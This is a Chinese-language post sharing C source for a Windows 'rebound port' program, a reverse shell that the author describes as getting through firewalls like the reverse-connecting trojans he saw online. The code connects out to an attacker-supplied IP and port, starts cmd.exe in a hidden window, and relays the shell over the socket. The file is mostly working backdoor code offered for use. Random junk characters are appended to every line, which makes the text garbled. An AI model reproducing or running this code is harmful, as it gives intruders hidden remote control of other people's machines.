这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c7mIwMhl~
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/* ============================== bq/*99``
Rebound port in Windows NT PpPg ~ix*
By wind,2006/7 Yyq:5V!
===============================*/ uV r6tb1
#include x:W nF62
#include 4^T@n$2N
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#pragma comment(lib,"wsock32.lib") yUF<qB
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void OutputShell(); =v-BzF15
SOCKET sClient; ^EGe%Fq*x]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D[2I_3[wp
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void main(int argc,char **argv) ]iewukB4
{ H]V@Q~?e
WSADATA stWsaData; '!*,JG5_
int nRet; 29DYL
SOCKADDR_IN stSaiClient,stSaiServer; i1]*5;q
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if(argc != 3) 8_8r{a<xW
{ l+BJh1^
printf("Useage:\n\rRebound DestIP DestPort\n"); xSFY8
return; z1t
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} }D_h*9
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WSAStartup(MAKEWORD(2,2),&stWsaData); OOy]:t4 /
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [5
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stSaiClient.sin_family = AF_INET; TwBwqQ)t
stSaiClient.sin_port = htons(0); :_;9&[H9ha
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Mg?^ 5`*
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !+tz<9BBY
{ lub(chCE[
printf("Bind Socket Failed!\n"); w5 nzS)B:u
return; *I)oDq3
} ~kUdHne(
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stSaiServer.sin_family = AF_INET; XQAdb"`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }oHA@o5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BgLW!|T[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x<#Z3Kla
{ =Nn&$h l
printf("Connect Error!"); Rg3 Lo ?
return; @vWf-\
} Kbjt CI7
OutputShell(); mo1(dyjx
} } LLnJl~Z
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void OutputShell() p!^.;c
{ U$o\?4
char szBuff[1024]; 7Io]2)V
SECURITY_ATTRIBUTES stSecurityAttributes; iXN"M` nhm
OSVERSIONINFO stOsversionInfo; "L^Klk?Vn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2_@vSwC
STARTUPINFO stStartupInfo; jQjtO"\JG
char *szShell; '`g#Zo
PROCESS_INFORMATION stProcessInformation; \DsP'-t
unsigned long lBytesRead; u/?s_OR
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &9bsTm
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); HMsTm}d
stSecurityAttributes.lpSecurityDescriptor = 0; ]$ [J_f*x
stSecurityAttributes.bInheritHandle = TRUE; MONfA;64/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i=$##
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o.yuz+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GKf,1kns
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~\A(xmW}
stStartupInfo.wShowWindow = SW_HIDE; Xq`|'6]/
stStartupInfo.hStdInput = hReadPipe; ;ru=z@
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ud]O'@G<
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GetVersionEx(&stOsversionInfo); g.-{=kZ
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switch(stOsversionInfo.dwPlatformId) ER0nrTlB<
{ }RX[J0Prq~
case 1: 4DY\QvW5
szShell = "command.com"; p/jC}[$v
break; w?^qAj(*d
default: *FoH'\=
szShell = "cmd.exe"; *^R?*vNs
break; qW8sJ=
} A[QUFk(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); UH=pQm^W
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send(sClient,szMsg,77,0); @~pIyy\_
while(1) =0,:w(Sb!
{ xa+=9=<AQ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e>`+Vk^Jc
if(lBytesRead) $'D|}=h<Y
{ K=|x"6\
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); c#'t][Ii
send(sClient,szBuff,lBytesRead,0); 5yPw[
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} MVdX
else vmW >$P
{ 5 [{l9
lBytesRead=recv(sClient,szBuff,1024,0); ? <b>2j
if(lBytesRead<=0) break; yhzC 9nTH
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 13
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} 3^m0 k
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} ;hP43Bi
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return; b1An2e[
}